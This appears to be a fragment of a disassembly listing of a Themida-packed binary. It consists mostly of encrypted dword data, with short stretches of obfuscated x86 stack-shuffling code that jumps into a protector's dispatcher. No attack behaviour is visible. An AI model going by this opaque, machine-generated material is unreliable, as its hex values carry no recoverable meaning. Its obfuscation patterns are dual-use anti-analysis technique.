0AC144028h, 7855F343h, 0F517EC69h, 5AC31B89h, 58B6A101h dd 9FD7BDF1h, 3611AF8Dh, 9570861Ah, 0E4B52579h, 38786234h dd 0A42B2h, 0D2F4CC00h, 2F4F283Eh, 8FA9859Bh, 0F206E5FBh dd 516D485Eh, 451EE4BDh, 0A4BA4E6Ah, 218ACCAh, 647A0E24h dd 28DB6F87h, 5004FB78h, 8DD213ABh, 687B56FEh, 42A014EBh dd 0E68DB314h, 8C45B4ECh, 6A46D23Bh, 4D63F750h, 0F3C45870h dd 11617956h, 437B9973h, 2D096A8h, 5A790D25h, 0FAD27235h dd 538BA983h, 232C58B8h, 953383DCh, 0AC8A9CBCh, 0A60A592Fh dd 76AE1713h, 0A60A37C9h, 0C1859613h, 7773629Dh, 65C73D8h dd 4D9C0000h, 9F1C6C42h, 13A68B21h, 21CE066Fh, 13A68C5Eh dd 0F4A8DCEDh, 0D877F10Bh, 0FC10EF8Dh, 437B9370h, 33F796A8h dd 20000006h, 0CCB33092h, 4F1442A0h, 88235B71h, 99BCCE37h dd 0BF44C1F6h, 1B1442A0h, 8C0959B2h, 13A6A6D6h, 36E31B84h dd 13A6A645h, 0CEA7F0CEh, 82DB76AEh, 83A37C4Ah, 0E2B1A94Bh dd 7C1C84FCh, 0C48CB87Fh, 732B5B6Ch, 0D877B38Ch, 5E549h dd 0C7457200h, 50A00E81h, 0A68C05D3h, 0F673D313h, 13A68C01h dd 20B64CDh, 0B3A5EDF7h, 8E206F9Fh, 0B76ADC3Eh, 617D5845h dd 0EB2E8E29h, 0DFBB47EAh, 5CBAB3C5h, 2B805F9Eh, 8597B18Dh dd 0E42B0AA6h, 3992EB0Bh, 54704BE9h, 0A96F811Ch, 0A1F1BDD2h dd 7BDA8724h, 1A6AD388h, 7183A37Ch, 18F593h, 1C3612B0h dd 654D42E4h, 1D9689CAh, 7A90B2C4h, 0B331859Dh, 8ECE3E6Ch dd 8C5C84Eh, 71490000h, 0CCA5BB4Fh, 260218ACh, 8362780Ch dd 0EAC5DB6Fh, 9B613ACEh, 37CBE7C2h, 95294721h, 0F78BA17Fh dd 58EC04E1h, 8378F5A5h, 4F13AB51h, 30927B0Ah, 42A0CCB3h dd 0F218A14h, 8C0918F5h, 1442A0F7h dword_5E16C0 dd 906EFA63h, 4EA7427Ah, 5E503F16h, 4D7B910Eh, 90F913ABh ; DATA XREF: Themida_:00583974o dd 4E4407FCh, 0AB0213ABh, 92263E1Bh, 0E6F846B8h, 5E01647Dh dd 4668294Ch, 568A79F6h, 0EF5813ABh, 0F40CE9B7h, 56806B60h dd 351313ABh, 98758B1Fh, 56770C89h, 7AE313ABh, 433CE921h dd 0C1EC54A6h, 3A17063Eh, 9B788E22h, 0DD9E4B83h, 4D13AB56h dd 198BCE76h, 0BFCED0A3h, 2F495B0Ah, 0CCA63A52h, 5416ED6Ah dd 5BC413ABh, 13C7749h, 56060000h, 38522E79h, 0FBD9A7DFh dd 623AADDEh, 0FCD7BE46h, 0DE2E87E0h, 178FF7Ch, 6DD61442h dd 13E8955Bh, 84144201h, 80578FA7h, 542BA80Fh, 2144201h dd 17708A66h, 9BF16EBEh, 5913ABECh, 0A4529CF0h, 0C3036A15h dd 7B63Dh, 5E805800h, 0BBDBB4CAh, 1B351127h, 7E927187h dd 0DDF9D4EAh, 0D18A7049h, 3046DAF6h, 8EA43856h, 0F0069AB0h dd 0B467FB13h, 53F08704h, 195E13ABh, 2E79568Ah, 0A6DE3753h dd 4E35B214h, 0C1442A0h, 9C7791A3h, 0B012EC80h, 42A04C33h dd 0DAF2CF14h, 4DB607A2h, 2D43213Bh, 8EA68399h, 0ADC1A03Eh dd 8863799Bh, 310D6039h, 0EB44DF17h, 0A19D11B3h, 42E7D2B8h dd 8A5890E9h, 1D5B93AFh, 522D1054h, 34CBA236h, 62E05B76h dd 94CCEAC4h, 1348E7F9h, 68000000h, 9DD5EDCAh, 9E1BF002h dd 82h, 92A88624h, 0F492AB80h, 2BC6FE18h, 0A22FF19h, 0B05A25D2h dd 0E4BD1442h, 0E5BE8CC4h, 864F8DC5h, 461D92DEh, 2A421F1Eh dd 8CA28096h, 5549CA3Ch, 0F8F44CD6h, 2C8E20E6h, 42F0C8AFh dd 911D8614h, 0C66199B7h, 0F0C1BBB4h, 3FC01442h, 243A1807h dd 7856BF90h, 7E5C2A62h, 39B61868h, 1442A042h, 0CF95A710h dd 0A19CC891h, 2419ADC3h, 1442A8C6h, 14BF3F8Ch, 9C18E05Ch dd 41FFFFFEh, 3399Eh, 20922D00h, 0A27E5C71h, 55B55088h dd 3244149Ah, 0EB233B18h, 429DAD3Eh, 0F6AE7514h, 2C4C25C3h dd 2D4759F4h, 4AE83850h, 8C1E566Ch, 429D680Fh, 247DE614h dd 8FA1BD98h, 627A576Dh, 9D927D2Ah, 48251442h, 6E21F830h dd 2C8EF040h, 429DC8AFh, 0B1D8614h, 0AB70FC12h, 9D1A7A13h dd 13A88AE6h, 973DD465h, 87D86DAAh, 8771C51Eh, 0E26A162Fh dd 6211CA2h, 15ED0000h, 70495FF3h, 0CAA6BC50h, 27061CB0h dd 8E697F13h, 0FF05DE72h, 0DB6F8B66h, 39CDEBC5h, 9B2F4523h dd 0FC90A885h, 671C9949h, 0F313AB54h, 79561FAEh, 805B2961h dd 0DDBAD064h, 401B31C5h, 431EEC24h, 0E8B1EF27h, 0CAE6C1BCh dd 1DA05F36h, 6F35E05Ch, 5E000002h, 326A444Dh, 0AC5E1485h dd 762E3FEAh, 38D0D143h, 0F86D226Bh, 0D1F40BE6h, 4FE1E16Dh dd 1000002h, 76B05F8Fh, 1628513Ch, 6A444D41h, 0A0E69D1Ah dd 0B741442h, 5EBB26D3h, 0CFE0EAACh, 1E18E797h, 27BDE16Dh dd 0E6000002h, 1A6A444Dh, 42A0EA9Dh, 0BF0F7814h, 0A01BE05Dh dd 4EB71442h, 82E4763Ch, 42A07E05h, 6173DC14h, 0AC5E7968h dd 551122EAh, 6D1ED629h, 1F4FFE1h, 4D280000h, 9D1A6A44h dd 1442A0EEh, 2EDB137Ch, 0EAAC5EA3h, 1BF896E8h, 1E30CB03h dd 6699C581h, 6FE16D1Eh, 1CEh, 61795698h, 337E5B29h, 3A084054h dd 720D455Dh, 0D2CC019h, 0BB973582h, 0A04136A1h, 0A40D1442h dd 2799FB4Bh, 44200ED9h, 19F88437h, 0F0FAF305h, 0BE13A670h dd 8F701D55h, 3C13A677h, 0A2407B2Bh, 0D974ACC6h, 4613ECC7h dd 2385D877h, 0A67FD1A6h, 2147D13h, 7E63h, 424D8C00h, 51DD8E65h dd 67C0F21Eh, 0B4D49A17h, 42A213A6h, 0A6873EC5h, 0E3339C13h dd 0A6879166h, 7BD43D13h, 0A1B08D2Bh, 0A6875F24h, 3992FB13h dd 8E546601h, 0A6871EE1h, 839D7913h, 86A27D4Bh, 0BAEA6D4Eh dd 0AE4C9EF6h, 0B381B9D1h, 0EA85BDD7h, 0A2E27F91h, 0F22395F7h dd 0C8DD3144h, 0FD2FD43Fh, 42AB13A6h, 8AC2D8B6h, 0FD02DDEFh dd 0DAD877B4h, 0C2h, 63835CFAh, 68805D2Bh, 5628FD0Fh, 5B296179h dd 5E2C6480h, 63316981h, 0DA6E86h, 0C41B9F8Eh, 4237B047h dd 55B51E14h, 7AF76344h, 1442AC85h, 7D8FE851h, 42A82A84h dd 110ED14h, 42B1FF84h, 99F25B14h, 5A9E605h, 233917B5h dd 98B63311h, 0E613A456h, 2DCB2D7Dh, 64712D54h, 0C7503FC4h dd 67425C6Eh, 0CB243A18h, 2A462137h, 19C42CD6h, 8B11516Ah dd 3E7h, 992D4F27h, 0F68AAA83h, 56EA04E0h, 0B94D6140h dd 18ACC8A3h, 0C5A0B93Fh, 25FF15A9h, 7F5D7307h, 0E2BFD569h dd 0D38336CAh, 0AB56A156h, 59E82D13h, 0F5F7B56h, 0A04B30ADh dd 9E071442h, 13CA9E3Eh, 57699643h, 2A421F35h, 3092C596h dd 42A0CCB3h, 0D747B14h, 6FD6A963h, 89A3B51Eh, 8E5C94ACh dd 100599B1h, 1442C16Eh, 2AC8EFA0h, 33C8334Fh, 9F1442C1h dd 0B3CFAA36h, 3787E07Bh, 91A3BD99h, 0D98836B3h, 6DD613A6h dd 795608D9h, 7E5B2961h, 53D5733h, 0EB445837h, 57D04292h dd 160AF0C1h, 0DCB6D8EAh, 0AA06FD7Ah, 0BE991442h, 0D6E851A2h dd 82D2DCB3h, 0A893BB10h, 0DD78B0CEh, 0D0E4D67Dh, 6963E0BEh dd 2713A617h, 3F98AC8Bh, 18A15A07h, 17F213A6h, 19F5C3FBh dd 0D1324F8h, 0CB24E40Ah, 772FB293h, 92D2E33Bh, 0D88D75E7h dd 27434770h, 59C53A15h, 4E12D877h, 32000000h, 0BFB846C0h dd 8B9D3E1Fh, 75424DB6h, 42A003F8h, 0D66CF14h, 0A98A40BDh dd 0DF4813A6h, 0CBB02D8Fh, 8713A6A9h, 99460C1Eh, 13A6A9E6h dd 0CBA11365h, 0DFE60639h, 343E0F2h, 8EE1BA58h, 43C95B5h dd 837C5769h, 54D87729h, 0E3h, 6179567Dh, 64805B29h, 69815E2Ch dd 6E866331h, 866200DAh, 8799346Ch, 42A43C8Eh, 0FB1AF714h dd 614A645Bh, 89CF552h, 0C5FD15F2h, 0BD0DA1EEh, 1527451Fh dd 332CBA37h, 0DE7A13A6h, 8E75F201h, 4C13A60Ch, 1FFE8AE3h dd 0DF38D30Bh, 0FE12F18Fh, 0C49F2BC6h, 0C3D570A8h, 9A0D82A1h dd 0A92CCBFFh, 0F68D0A0Ch, 6413A665h, 0F949A2FBh, 65651A97h dd 88F113A6h, 98369876h, 3615A1BDh, 3D4FEA22h, 408FEC44h dd 900D6F14h, 1B890FEBh, 0FF374F2Ch, 98AA1364h, 620050B9h dd 0C1D76B87h, 9676CAE6h, 0FB623483h, 1F535BBh, 41190000h dd 9C758B1Fh, 0F6D2E87Ch, 533248DCh, 0BA95AB3Fh, 0CB310A9Eh dd 79BB792h, 65F917F1h, 0C75B714Fh, 28BCD4B1h, 0B348C575h dd 1F13AB58h, 7B564BDAh, 0D8B5CB5Fh, 4D5B2CC0h, 0F9D77542h dd 0A510ABE3h, 1442A0DEh, 6ABA137Ch, 0A6A927EDh, 548CF513h dd 0A6A9D4A7h, 22627313h, 0E5FBD977h, 0A9631895h, 86EF13A6h dd 8669974h, 0E26FD878h, 98000000h, 29617956h, 0A65D805Bh dd 60E459ADh, 142E0A96h, 98E841DCh, 0F5071BFAh, 0E72B9D2Fh dd 0B0B63684h, 0B5171022h, 8014427Dh, 5F7F58A3h, 7F5C7206h dd 7E0CF370h, 61CA1442h, 96F9D008h, 5D4BC818h, 0B13A670h dd 22E052A2h, 0E1B8DBE8h, 603A5C6Eh, 0BDCFE3C2h, 69B9F59Ah dd 73F58A07h, 16113A6h, 0A673FF84h, 99F25B13h, 0AB2CA987h dd 0F7144095h, 0C5A03E8Eh, 9D3B15A9h, 0D570A8C0h, 0B2CEA9C3h dd 3478B85Eh, 27ADED62h, 0F7h, 891D3F17h, 0E67A9A73h, 46DAF4D0h dd 0A93D5130h, 89CB893h, 0B590C92Fh, 15EF0599h, 6F4D63F7h dd 0D2AFC559h, 0C37326BAh, 0AB59B146h, 49D81D13h, 0F5F7B56h dd 6B7D9371h, 47563349h, 35BA92D5h, 25908126h, 1442C45Eh dd 0C64393FCh, 1442C431h, 47DB349Dh, 61795676h, 667E5B29h dd 0D2DCB3D2h, 4DEB0582h, 6913ABh, 0D3B04EB0h, 4DAB50BBh dd 0BE2713ABh dd 53D5532h, 0C492586Ah, 0D7FCFE7h, 6DA90196h, 8BADBF52h dd 704D9875h, 0D4F2CC58h, 70A8019Ch, 4DE7CDEh, 0DA847BE6h dd 0E95213ABh, 51CDED7h, 64E14148h, 48603D20h, 0A9C19EB4h dd 81C8E759h, 0A654888Fh, 9E3CCE94h, 7D97A9C1h, 9B528A9Eh dd 0C09D80C4h, 477F9975h, 650353ACh, 9E397187h, 77546A8Ch dd 0B0AA0758h, 72513124h, 328B265Eh, 0C1BA1D9h, 0AA000000h dd 32C3358Dh, 0D5DCB12Bh, 56572C3Eh, 56245C7Eh, 5B296179h dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah dd 74427A94h, 0EE437B9Bh, 81E78957h, 4C7h, 4EF8300h, 8B243C87h dd 89502424h, 405E0h, 42D0000h, 87000000h, 895C2404h ; --------------------------------------------------------------------------- xor al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 7E9EDF8h mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push esi add dword ptr [esp], 320126CBh pop dword ptr [eax+8] push ebp mov ebp, 320126CBh sub [eax+8], ebp pop ebp mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_58A287 ; --------------------------------------------------------------------------- dd 7E9E9B18h, 0A57E35D8h, 0EB1E9CF0h, 0E9FADDB8h, 0FFC50307h dd 0D51A89E0h, 75310540h, 1FAB834Fh, 0D36D8F1Eh, 0BF20A636h dd 40640F2Ah, 0FD74722Ah, 0AAF4BB27h, 4FCE4432h, 4DAC2972h dd 34425652h, 0F00B700Fh, 0F0BC3571h, 6F1EA67Bh, 0B39EF54Dh dd 634EB627h, 27148F3Bh, 0FAB53350h, 9BCC3E1Ch, 6F102330h dd 0F017D57Ah, 0DA4DD50Dh, 0E12FB70Eh, 29659B09h, 0D9B59F4Dh dd 81DE6864h, 6CE2932Dh, 0D6998B17h, 47EA104Ch, 8094FD26h dd 0CCE4F44Fh, 0EB8D8D64h, 6A07E9FCh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 8E46C350h dd 89F938F9h, 0E41B718Dh, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 23A0D952h dd 0BFF1D597h, 44B9339h, 9305BA60h, 10E9120Ah, 0A5000000h dd 0F129392Bh, 1458D0E6h, 0F4E4E2DBh, 6101716Ch, 858D8960h dd 6107E414h, 2DA185C7h, 630807E4h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8B6679C3h dd 81BD89D7h, 0C707E418h, 0E422B985h, 7, 75858B00h, 0FF07E421h dd 0E40A59B5h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0D55D297Dh, 40D8503h dd 95FF07E4h, 7E43061h, 518529F8h, 6A07E42Ch, 4195FF00h db 0Eh, 0E4h ; --------------------------------------------------------------------------- loc_5E2176: ; DATA XREF: Themida_:00583910o pop es mov eax, eax jmp short loc_5E21B3 ; --------------------------------------------------------------------------- db 52h dd 0E7E68EFDh, 0ED7B7841h, 937F6036h, 784DE870h, 0CFA2ADF7h dd 5026E484h, 7440AA29h, 0C318E629h, 0CDFCE8C9h, 7DD83695h dd 1FDE45BAh, 55536164h, 7AFCBFF4h db 0D7h, 4Bh, 7Ch ; --------------------------------------------------------------------------- loc_5E21B3: ; CODE XREF: Themida_:005E2179j jmp loc_5E21EE ; --------------------------------------------------------------------------- dd 520F32A1h, 0 dd 4AC51C57h, 36614843h, 0A7A5ADF9h, 75528C88h, 0BE00B7FBh dd 0E5ADF99Ch, 9D89937Eh, 1DF4C700h, 19606392h, 0DEh, 0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_5E21EE: ; CODE XREF: Themida_:loc_5E21B3j jmp loc_5E2CDC ; --------------------------------------------------------------------------- push 7E9FE79h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E9FF9Bh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA0080h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA0113h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA01ECh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA02B9h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA039Ch jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA05D4h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA06CCh jmp loc_58A287 ; --------------------------------------------------------------------------- db 18h, 40h, 1Eh dd 7B9B748Ah, 0DBF5D1E7h, 3E523147h, 9DB994AAh, 91CA3009h dd 0F0069AB6h, 4E64F816h, 0B0C65A70h, 7427BBD3h, 5DB047C4h dd 0D91E13ABh, 6C424D4Ah, 5D8E9F1Ch, 54C413ABh, 61DF633Eh dd 76C61F2Ah, 0C825C704h, 8B9D4A0Dh, 1A320FADh, 2E512CCAh dd 18D4067Fh, 5567C021h, 0DDBB5933h, 80FD8FC7h, 13AB95FBh dd 8395EE57h, 3C748C69h, 2B8D2A65h, 0AB95C9AEh, 0B11C8513h dd 13AB95CAh, 0B5931F88h, 73CC679Fh, 68E0A623h, 45AE1442h dd 6B7A57F5h, 919309EEh, 35CC51Bh, 647C596Fh, 743A552Ch dd 8409A724h, 0EE571C75h, 48F6F69Ah, 0DD63A35Ah, 929h dd 41D5F7CFh, 9E32522Bh, 0FE92AC88h, 61F509E8h, 0C054704Bh dd 6D4801E7h, 0CDA7BD51h, 27051BAFh, 8A677D11h, 7B2BDE72h dd 0AB5E79FEh, 190D513h, 29617956h, 5A337E5Bh, 2E4DE13Ah dd 80FD4D61h, 13A6B30Eh, 6C45E345h, 0B41AE14Ch, 4FB813A6h dd 0A5F55E3Dh, 7ACD1B33h, 0C9E4A7F7h, 2C6E8AE7h, 51172982h dd 0A6CFDBA4h, 275F7013h, 77AE8877h, 204DD8h, 4D760000h dd 9F1C6C42h, 13A6A9E9h, 59063EA7h, 13A6AAA6h, 2C501425h dd 0D87807D3h, 0CE04h, 79562D00h, 805B2961h, 815E2C64h dd 86633169h, 9E00DA6Eh, 42A05A21h, 7D8FF814h, 42A30684h dd 0F13C1914h, 24C6FE12h, 62FD9ABCh, 0AA035CCFh, 0C8DEBC5Ah dd 0E295F590h, 0F5EE0596h, 0AEC4E6F8h, 0AA81B9D1h, 0FC79C9E5h dd 13A6147Ah, 2891D848h, 0A2C22E3Ah, 69DBB549h, 7E154D4Ah dd 7396A8D6h, 0C542921Ch, 14406CCAh, 31CF1F88h, 0CCA63A56h dd 55D6A85Ah, 0BB1B1071h, 5EA73C38h, 809AAC1Eh, 653589A5h dd 486234A4h, 8078208h, 19F10000h, 744D63F7h, 0CEAAC054h dd 2B0A20B4h, 926D8317h, 0E309E276h, 0DF738F6Ah, 3DD1EFC9h dd 9F334927h, 94AC89h, 5B209D4Dh, 0F713AB5Fh, 7B5623B2h dd 0D8B5CB5Fh, 0A0B74CC9h, 0BA231442h, 92FCCD61h, 0E9FB1BF4h dd 95E5C9C6h, 0A6A95218h, 0D7AF2113h, 0CACA2EABh, 0CC351426h dd 1714E794h, 0A2B313A6h, 0D855B7E2h, 13A61723h, 593446AFh dd 0D8775AA6h, 0AC2Fh, 79565800h, 805B2961h, 17F2C64h dd 141442A3h, 0D4AB2837h, 471442A4h, 9801526Ah, 0B895AB3Fh dd 0FE9168A0h, 0A4473CB9h, 0AA131442h, 82840151h, 0D013A6B0h dd 96A51767h, 7EACD97Ch, 0B2A4C5Eh, 5DDA2A84h, 14400A7Dh dd 0A0D79E10h, 0E24FCA0Ch, 3888F1D0h, 18A4BE9Ah, 3311233Bh dd 0A9EBA95h, 0A9FD19F4h, 623473FBh, 220086C6h, 0D6000007h dd 3248DCFEh, 8FA53959h, 0EF0599B3h, 5268FC10h, 0EEC75B77h dd 58744F08h, 0B6D4AEC4h, 182E0C22h, 79916E84h, 58232E5h dd 13A8A07Eh, 560897DCh, 0B5CB5F7Bh, 98B08DD8h, 0D86CC560h dd 61795607h, 667E5B29h, 7C5AF8D2h, 81932E66h, 42A0F788h dd 36781714h, 536B48E6h, 5DE66341h, 113AB5Dh, 0CFAA4898h dd 0CEE07BB3h, 15F08EF0h, 76CFEBC6h, 7791A33Eh, 0D8EE829Ah dd 0D4ABE3FBh, 26A3F3BBh, 144F5370h, 4D61B51Eh, 88623237h dd 68FC248h, 91690000h, 0ECC5DB6Fh, 462238CCh, 0A382982Ch dd 0AE5FB8Fh, 7B815AEEh, 57EB07E2h, 0B5496741h, 17ABC19Fh dd 780C2401h, 0E39815C5h, 6F13A8A1h, 30929B2Ah, 42A0CCB3h dd 12EE8A14h, 738D9FF8h, 78467E96h, 0D4B839Bh, 0BB590044h dd 99B3C5DFh, 7A9671BCh, 0FE4EA742h, 0D6CBC58Ch, 91A369F7h dd 1AF7956Fh, 0EA15F002h, 0EBE05B9Fh, 7, 1729E14h, 772D0000h dd 1442A084h, 0D5258906h, 8C680173h, 7C8DB663h, 49B3716Ah dd 0E48213ABh, 0A8A4EA05h, 0D137EF71h, 1E876678h, 31FA6CCEh dd 6871E8Fh, 0BA97B1C3h, 1BF80EA2h, 81DAF4D0h, 0AD52CF31h dd 2913A8DFh, 56E8AEC0h, 19D858E4h, 384AE918h, 0E4347A15h dd 4CADB167h, 0A2F65F14h, 62323116h, 0B60D93D3h, 42000005h dd 9EB4486Ah, 0FB11A5C5h, 5B71051Fh, 0BED4687Ch, 5A33C7E3h dd 0C4E0BB94h, 22401A30h, 849A788Eh, 0E5FDDAF0h, 71EE9E51h dd 13A8A18Ah, 56740348h, 5B296179h, 0F02E667Eh, 23007F27h dd 5FA0770Bh, 78E05C11h, 7, 0BE9EA1h, 4D2D0000h, 9F1C6C42h dd 13AB5D8Eh, 6D0B5BC4h, 4E6A4590h, 8E227B16h, 4B839B78h dd 43931B74h, 42A300C6h, 1565CE14h, 4A829A77h, 0DFA54FAFh dd 8F0B173Ch, 0CB3D9F7Dh, 7B99A10Ah, 819BAD46h, 1EF88CA4h dd 2C41DBACh, 0F3057EADh, 0D6B1FCD9h, 0AF1161BAh, 91634D32h dd 40A0091Bh, 41994420h, 9B617338h, 93E3CBC4h, 758AB816h dd 4B2AC61Ch, 0B64FF37h, 48ED0BB7h, 2CB2F25Ah, 4E9h, 8115370Fh dd 0DE72926Bh, 3ED2ECC8h, 0A1354928h, 94B08Bh, 0AD88C127h dd 0DE7FD91h, 67455BEFh, 0CAA7BD51h, 0BB6B1EB2h, 0A8A2B93Eh dd 41D01513h, 0CD16F492h, 467ED7F1h, 5DC799ABh, 56000001h dd 5B39424Dh, 0FE9CEC45h, 1E53041Fh, 0CDE02554h, 0D0A72474h dd 7E14422Bh, 0C3250315h, 0FA324625h, 0F9544D5Fh, 7913ABD6h dd 0EC5EC010h, 69243653h, 463DBAB0h, 1413A80Bh, 0AFF252ABh dd 371F8CE1h, 2E0B2537h, 8F6C8216h, 27683F77h, 604F6780h dd 8664BFD7h, 449D3870h, 21FD9BEBh, 2234CF07h, 7A01C744h dd 32D01441h, 4E2D3F53h, 1AF795E5h, 7B586E02h, 43C5230h dd 46D81069h, 4EACADD4h, 29A69801h, 1B964F52h, 2C3E9700h dd 0D8288609h, 72587D5Bh, 4EA20B1Ch, 5A473B7Eh, 6CD5393h dd 0F2000004h, 4E64F81Ah, 0ABC15575h, 0B21B5CFh, 6E84182Ch dd 0AE37793h, 74906BE4h, 0D2F0CAE0h, 344A283Eh, 95AD8AA0h dd 219E4E01h, 13A8A35Ah, 5624B3F8h, 5B296179h, 3E56337Eh dd 0DA126B06h, 0AC93D39Ch, 4923B7CFh, 530AACD7h, 0FF110E6Bh dd 5B80DB24h, 62FCE0h, 0AA1C0000h, 6D29885h, 4136B3D3h dd 0D14424Bh, 64394BA4h, 1C6C424Dh, 0A6EF3B9Fh, 0A0F05913h dd 0D50D2502h, 0E84A283Ah, 4052704Ah, 9C304A26h, 1CE360C2h dd 0BA13A6F0h, 0F026DD5Ah, 4BB413A6h, 708A66F2h, 928B9D38h dd 13A6F0E8h, 0A2364E2Bh, 4696B08Ch, 78B0CEA8h, 587851DDh dd 4EFA8046h, 89000003h, 2A627856h, 17677F5Ch, 4880A079h dd 63799BADh, 68366E86h, 0C123738Bh, 42A0BF44h, 0A0B21B14h dd 77305F7Eh, 22ADA3C6h, 0D3237C9Ch, 0A6E65456h, 61B11A13h dd 0B9CBE9C3h, 0B3EF61F3h, 4ECE8AF0h, 24D7D0E2h, 6F13A6E4h dd 556B4990h, 0F129821Dh, 0D6293F4Fh, 0B97BCEBh, 9FAA0E2Fh dd 7696F8BFh, 3D17E51Dh, 2A4CE71Fh, 61B9F9ADh, 3651450h dd 225F24A1h, 92FB13A6h, 0A6225027h, 995FE13h, 2500122Eh dd 0D8779BDAh, 58FBh, 0F4922400h, 2AC5FD19h, 0E19AF518h dd 17B2EA06h, 0A0B54AC7h, 0B8211442h, 0DC920F5Fh, 9B13A6A9h dd 910E23FDh, 13A6AAEAh, 94A6FF68h, 53B645B5h, 0DE4B6C39h dd 0DFA04D85h, 6C13A62Ah, 0E9CDA81Ah, 25650016h, 26E0FB9Dh dd 7B8DE68Ch, 9F6A6DEh, 0CED877DBh, 0D4h, 617956F7h, 31805B29h dd 0D1AC3858h, 89E27DB5h, 0A4C09B39h, 0F9BFD16Ch, 0FE364E2Bh dd 0D6F4CE6Ch, 0B5CDAAC4h, 0A3AE2C21h, 0E4C11442h, 452238CCh dd 62B21D26h, 247DB3B9h, 347A15ECh, 8E482E4h, 90C8DCBBh dd 918A9CF5h, 13A63803h, 3554E851h, 8704545Ah, 1440EFA3h dd 96F848B1h, 89306219h, 7854F01Bh, 328B265Eh, 0C9A44220h dd 0DD3F19ADh, 89309B60h, 0BCCE371Bh, 42B4C7A2h, 0A719CC9Ch dd 896ED95Bh, 0A1B8904h, 3FDA1230h dd 0D82C85EEh, 62349DFEh, 0CE61E727h, 2A000001h, 869C3052h dd 0E3F98DADh, 4359ED07h, 0A6BC5064h, 421BAFCBh, 0ACC8A3BCh dd 0A280218h, 6C826076h, 0CDE5C2D8h, 59D68639h, 13A8A5A2h dd 565CEB30h, 0B5CB5F7Bh, 5B2CC0D8h, 5F39424Dh, 5D3B0941h dd 4595EE47h, 0A6A902C8h, 0BA5FD113h, 0C77471AEh, 0FC654456h dd 186417C4h, 0D2E313A6h, 5915EA92h, 0DEC2D877h, 0EB000000h dd 29617956h, 2C64805Bh, 42A3017Fh, 0EC371414h, 0CBE5C112h dd 679FF893h, 0B12373CCh, 0E3D8387Dh, 5F8193F1h, 0D1A62385h dd 7D144244h, 0B6EE02E1h, 96B0C21Bh, 0B351A1B9h, 0B74CC9D4h dd 23144244h, 8E2961BAh, 0B0DFB67Ch, 0A331AEFEh, 0F113A64Ah dd 0BAD5F488h, 0D042A4F4h, 1EFDE390h, 6795AA0Ah, 6AC3D7B6h dd 0D6E802DEh, 402BDADDh, 0EF3FA814h, 0A5A7651h, 0E485E798h dd 5D91F105h, 4B6D7F5Eh, 0EA3E5A35h, 623516F6h, 0D67D0343h dd 22000000h, 7E94284Ah, 0DBF185A5h, 3B51E5FFh, 9EB4485Ch dd 3A13A7C3h, 0A4C09BB4h, 220FA10h, 647A586Eh, 0C5DDBAD0h dd 51CE7E31h, 13A8A6AAh, 5654E328h, 0F1CB5F7Bh, 0B7A9C07Fh dd 536581F7h, 0B0445C39h, 26E364D6h, 22829C78h, 96A8E564h dd 617956C1h, 667E5B29h, 0D2DCB3D2h, 0BA09E482h, 0F38EC6DCh dd 2DAA889Ah, 13AB5D7Fh, 0BE8CC42Dh, 1F35C9E1h, 45F22A42h dd 464E67ADh, 2502A05Eh, 2E07D50Dh, 6A3B50Eh, 0F302DF5Eh dd 8D978176h, 84E44D49h, 3C6C926Bh, 27BB14F1h, 0A8253411h dd 498DC2D3h, 85BD167Fh, 2C7955F3h, 64FF374Fh, 2638D30Bh dd 0E1192D0Ch, 2C13532Ah, 49E7374Fh, 0CD524A6Fh, 8DF3CFDFh dd 4F61FC34h, 223A172Dh, 364EAh, 8DF30000h, 5C7E563Eh dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h dd 768A6937h, 7A94703Eh, 7B9B7442h, 2F68EE43h, 89000018h dd 4D682404h, 8900003Dh, 89562434h, 4C681E6h, 83000000h dd 348704EEh, 2C895C24h, 0B9515524h, 6B1951B5h, 0AD4F181h dd 0CD8979D5h, 0D5F74D59h, 0EDC1D5F7h, 0ED814507h, 0F83B9AF5h dd 685DEE89h, 4293h, 83242489h, 5D042404h, 8BE5651h, 89000000h dd 0E9015EF1h, 0FF593189h, 835D2434h, 348B04C4h, 0E7895724h dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FA75B2E9h, 300156FFh dd 6B78D1AFh ; --------------------------------------------------------------------------- loc_5E2CDC: ; CODE XREF: Themida_:loc_5E21EEj mov eax, 7EA07C7h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 7Ch, 0C5h, 82h dd 0A6577A3Eh, 5730573Eh, 0BC63BD0Bh, 6C58086Dh, 0E8ABFA77h dd 0BCDD3A4Fh, 4D69CE48h, 80DE3D01h, 0BAB7673Ah, 0C07F7143h dd 0ABE60A15h, 4D322552h, 0BFDA524Eh, 2299767Ah, 677CA71Ah dd 2A46884Dh, 6E63747h, 59F9877Ch, 3CD1BF16h, 277F6954h dd 4E73A754h, 0BDCB0548h, 9E837h, 96BB0000h, 6501A5C9h dd 0E965AD20h, 0Fh, 0C0B323DCh, 2AFCBA9h, 8EDED207h, 5E2FA141h dd 11E9h, 543D3D00h, 606B2F41h, 8518481Ah, 2CBCAADDh, 0C681C171h dd 5D39h, 68h, 8B665600h, 8A585FCEh, 3034FFF0h, 0DDE18166h dd 8B535B77h, 0F3815FCAh, 43BED289h, 5890Fh, 38BA0000h dd 81180D04h, 0E7596DF3h, 0F7816675h, 0F38166E0h, 